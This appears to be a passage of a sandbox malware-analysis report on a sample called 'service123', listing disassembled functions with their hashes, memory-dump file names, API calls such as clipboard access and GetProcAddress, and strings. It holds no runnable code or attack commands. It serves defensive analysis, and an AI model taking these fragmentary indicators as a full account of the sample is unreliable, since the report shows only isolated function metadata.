Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen$strcmp
String ID: *$basic_string::append
API String ID: 551667898-3732199748
Opcode ID: 131bc076a48eec006743558c2c0b0ff2fd9c39e0ecabb405202f322670553bb6
Instruction ID: e27b3c70977257cf138c692ed6cc2f52fd3572bc943019b4a046b65b94d6e394
Opcode Fuzzy Hash: 131bc076a48eec006743558c2c0b0ff2fd9c39e0ecabb405202f322670553bb6
Instruction Fuzzy Hash: E6A138B0A08605CFDB00EF28C09475EBBE1BF45308F55C96DD8989BB45DB39E849CB92

Function 6C213DD0 Relevance: 12.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C213E6F
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C1AE9CE), ref: 6C213ED3
memmove.MSVCRT ref: 6C213F0B
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C1AE9CE), ref: 6C213F7A

Strings

basic_string::_M_replace, xrefs: 6C2140FF

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 2f1a1e2c7f116518feab59a6ee1e2c1b4de551b12f97418b5e44146da3026069
Instruction ID: 11f8af21ed45ab325ed99579b6ee71e8acc83da03eec8797ecdb8acf9eba9002
Opcode Fuzzy Hash: 2f1a1e2c7f116518feab59a6ee1e2c1b4de551b12f97418b5e44146da3026069
Instruction Fuzzy Hash: DC91047560D3598FC304DF18C08095ABBE2BF89748F54896DFA899BB24E774E944CB82

Function 6C17E800 Relevance: 12.1, APIs: 8, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction ID: c7b647d74271fe82afabd01cfe6df9ad1eb4640f5e7a207e6e25a1ffaed9939f
Opcode Fuzzy Hash: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction Fuzzy Hash: 5D219531954209CF9724CF29C4C1ACAB7E6AF96318B558A15D49447B18D320EAAB87F2

Function 6C189BA6 Relevance: 12.1, APIs: 8, Instructions: 86clipboardCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 6C189BA9
IsClipboardFormatAvailable.USER32 ref: 6C189DDC
OpenClipboard.USER32 ref: 6C189DF0

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: Clipboard$AvailableCloseFormatHandleOpen
String ID:
API String ID: 518195572-0
Opcode ID: 592bc2d35f386b4f98b212b2287920279e51886750811c520ad8b7645cea589c
Instruction ID: 24a27d7046b1cc5cb397c60663334984cf922bb70c0990165cdb5d185e8e78b3
Opcode Fuzzy Hash: 592bc2d35f386b4f98b212b2287920279e51886750811c520ad8b7645cea589c
Instruction Fuzzy Hash: E4215EB26092008FEB00BF7DD54D16EBBF0AB46355F010A39DC8A82A80EB35D418CB67

Function 00051E70 Relevance: 12.1, APIs: 8, Instructions: 84COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00051EAF
signal.MSVCRT ref: 00051EF6
signal.MSVCRT ref: 00051F0F
signal.MSVCRT ref: 00051F36
signal.MSVCRT ref: 00051F72
signal.MSVCRT ref: 00051FBF
signal.MSVCRT ref: 00051FD5
signal.MSVCRT ref: 00051FEB

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: e9ff0a795b4fb7712ce4356efc37dce6179baab8fe17f4e02de5773dae88c2fa
Instruction ID: b86196bd3697e08996e034d90115a072fea98a9c6eb3f4c727ce7aa6ea5d2551
Opcode Fuzzy Hash: e9ff0a795b4fb7712ce4356efc37dce6179baab8fe17f4e02de5773dae88c2fa
Instruction Fuzzy Hash: E131B9B05082019AE7A06F64C9463AFB6D4AF4535AF158D2DECC896282CB7DC88D9B53

Function 00054360 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00054378

Strings

@, xrefs: 00054647
NaN, xrefs: 00054D3B
Inf, xrefs: 00054E35, 00054E4D

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: ec5e213144950782648e926ac4c27e1c511a9ffe7bfc70a2d7f6c09ccd2c4d74
Instruction ID: f77847f8c8e24ce2546be710e9c7e436e031a6ea115e51e20938696be485d130
Opcode Fuzzy Hash: ec5e213144950782648e926ac4c27e1c511a9ffe7bfc70a2d7f6c09ccd2c4d74
Instruction Fuzzy Hash: 33F1BF7560C3858BD7708F24C0903EFBBE1BB8531AF158A1DEDD987282E735998D8B42

Function 6C184A30 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 6C184A48

Strings

Inf, xrefs: 6C185505, 6C18551D
@, xrefs: 6C184D17
NaN, xrefs: 6C18540B

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: 602468fbe1572e1c5c3395d8d5faa21ab72639350170bc7d2622ee34e459cce3
Instruction ID: d067104d86aa8f8b277e4ccf991060fa216f9b1eec573a6dbecd35c7ebd5a008
Opcode Fuzzy Hash: 602468fbe1572e1c5c3395d8d5faa21ab72639350170bc7d2622ee34e459cce3
Instruction Fuzzy Hash: 98F1C17160E3858BD721CF24C46039BBBE6BB86318F158A2DE9DD87781DB399905CF42

Function 00053160 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

0, xrefs: 000534C6
@, xrefs: 0005342A

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction ID: 74317647b1cd2bb346e7c738595f55dc600199187f436b78603acc5c2945d3dd
Opcode Fuzzy Hash: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction Fuzzy Hash: C1C16A71E006158BCB15CF6CC48479EBBF1BF88395F198259EC58AB385D734EA49CB90

Function 6C183830 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

@, xrefs: 6C183AFA
0, xrefs: 6C183B96

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction ID: 54b531975f6a53510ea28de27c4e14325b426e93e44b2a6c06d6c83f0c607a2a
Opcode Fuzzy Hash: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction Fuzzy Hash: DCC18C71E0A2158BDB04CF6CC48478DBBF1AF89314FA98259E854EB785D338E846CF90

Function 6C19B810 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C19B836
memcmp.MSVCRT ref: 6C19B85A
memcmp.MSVCRT ref: 6C19B8CD
memcmp.MSVCRT ref: 6C19B93F

Part of subcall function 6C23ADB0: strlen.MSVCRT ref: 6C23ADBE

memcmp.MSVCRT ref: 6C19B9D7

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C19B881, 6C19B8F2, 6C19B965, 6C19B9FE, 6C19BA1A
basic_string::compare, xrefs: 6C19B879, 6C19B8EA, 6C19B95D, 6C19B9F6, 6C19BA12

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 55c1501eca8b5c673704e877a504ea73769550b73c2b8fd35f30358448536463
Instruction ID: 789370421c62cb988d8dac3fb8ad9ebd0ed5962289d1f09ba19f5fb1de5e6dcc
Opcode Fuzzy Hash: 55c1501eca8b5c673704e877a504ea73769550b73c2b8fd35f30358448536463
Instruction Fuzzy Hash: AE6166B560A3159FC300AF29C9C195EFBE5BFD8648F65892DE8C887710E371E850CB92

Function 6C197710 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 211stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1E3320: memset.MSVCRT ref: 6C1E3365

strcmp.MSVCRT ref: 6C197771
strlen.MSVCRT ref: 6C19778C
strlen.MSVCRT ref: 6C1977D3
strlen.MSVCRT ref: 6C197844
strlen.MSVCRT ref: 6C1978B2

Strings

*, xrefs: 6C197990

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen$memsetstrcmp
String ID: *
API String ID: 3639840916-163128923
Opcode ID: 04036bb6cfc49377db63e3c5a1da6e209ea70ac9a8131994c00fe0b9ac6361b7
Instruction ID: 423be6271eccee19513dd2d6e0768c484f6958d5c60949a5a86db14a0c0bf445
Opcode Fuzzy Hash: 04036bb6cfc49377db63e3c5a1da6e209ea70ac9a8131994c00fe0b9ac6361b7
Instruction Fuzzy Hash: 068136B5A05A008FDB00EF29C498B9EFBF5FF89308F01856ED8559B714D735A819CB82

Function 6C17E8E0 Relevance: 10.7, APIs: 7, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction ID: 9bb6e40f6e2237899217ab8d117e26094c2fab799d784438eba04fa2e108b5a8
Opcode Fuzzy Hash: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction Fuzzy Hash: 4E5180715097048FC760CF19C08079AFBE0BF9930CF458A5EE8989B755D334DA45CBA6

Function 6C17E340 Relevance: 10.6, APIs: 7, Instructions: 126synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C17E487
WaitForSingleObject.KERNEL32 ref: 6C17E4C8

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: 735da0ffeb0e1455ff53a72ccba8e0d9bb0a226bfee34e64e5af1361cd6984e3
Instruction ID: 61cf523ef6dc03a558af88b70a0369e7066fbd7053cf2aec9e9e60b0b3e4a9d3
Opcode Fuzzy Hash: 735da0ffeb0e1455ff53a72ccba8e0d9bb0a226bfee34e64e5af1361cd6984e3
Instruction Fuzzy Hash: 0F5139707092018FDB24EF2AC58C79A7BF4AF0671DF118528DC598BB80EB35D955CBA2

Function 6C1801F0 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C180209
memcpy.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C18022D
malloc.MSVCRT ref: 6C180247
memset.MSVCRT ref: 6C180275
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort$malloc$memcpymemset
String ID:
API String ID: 334492700-0
Opcode ID: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction ID: f8cda68fba598d3281758f87d9cf690d5e3d39ad6bafc121be04753f29ae4704
Opcode Fuzzy Hash: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction Fuzzy Hash: 411191B560A7099FD700AFA8D4C099AF7E4FF44299F01897DD85AC7B00E734D508CB21

Function 00058120 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0005812C
GetProcAddress.KERNEL32 ref: 0005814C
GetProcAddress.KERNEL32 ref: 0005818B

Strings

__lc_codepage, xrefs: 00058180
msvcrt.dll, xrefs: 00058125
___lc_codepage_func, xrefs: 00058144

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: 2b9bf9a9c591b9297093f5a2de061dc15e0dbe9b4f40e2e8669cc1b624a662f0
Instruction ID: 26e0c79c2a0a02d3db6772f35e005b54c4c236a76a659a105f5951539363b854
Opcode Fuzzy Hash: 2b9bf9a9c591b9297093f5a2de061dc15e0dbe9b4f40e2e8669cc1b624a662f0
Instruction Fuzzy Hash: EEF06DB09087108FAB507F39AD0524B7EE8EB08313F45893ACC89D7240EB78844DCBA7

Function 6C189171 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C18917C
GetProcAddress.KERNEL32 ref: 6C18919C
GetProcAddress.KERNEL32 ref: 6C1891DB

Strings

___lc_codepage_func, xrefs: 6C189194
msvcrt.dll, xrefs: 6C189175
__lc_codepage, xrefs: 6C1891D0

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: 164f13f6e5845a7ba6a3ff74a4244723bc5b584d45f9a962257c4f6e0741bff4
Instruction ID: d734ddc6d67a03b3f1862755dac961435c088e706f155788a5190b17d999b359
Opcode Fuzzy Hash: 164f13f6e5845a7ba6a3ff74a4244723bc5b584d45f9a962257c4f6e0741bff4
Instruction Fuzzy Hash: F5F062B194E2058FEB00BF7C991F24ABBF0A606635F414579CC89C7640E634C420CFA3

Function 6C17EA9B Relevance: 10.5, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction ID: 9013be7c1f0b7800052373931923a156feaef017e7de2faafab230a8cf544744
Opcode Fuzzy Hash: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction Fuzzy Hash: 62B01231CDE62CCF4830567C45B01C06349BB2B394705D843C84F63F048315E00B4572

Function 6C214AE0 Relevance: 10.2, APIs: 8, Instructions: 158COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C21B8AE), ref: 6C214B63
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C21B8AE), ref: 6C214BA5

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction ID: 83ead94d208f4675ed717c4421c07a6539575acaefe43714beb1dd0545da92b7
Opcode Fuzzy Hash: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction Fuzzy Hash: 38610AB4A09706CFC714DF29D19061AFBE0EF98758F14892DF99A87B60E730E944CB52

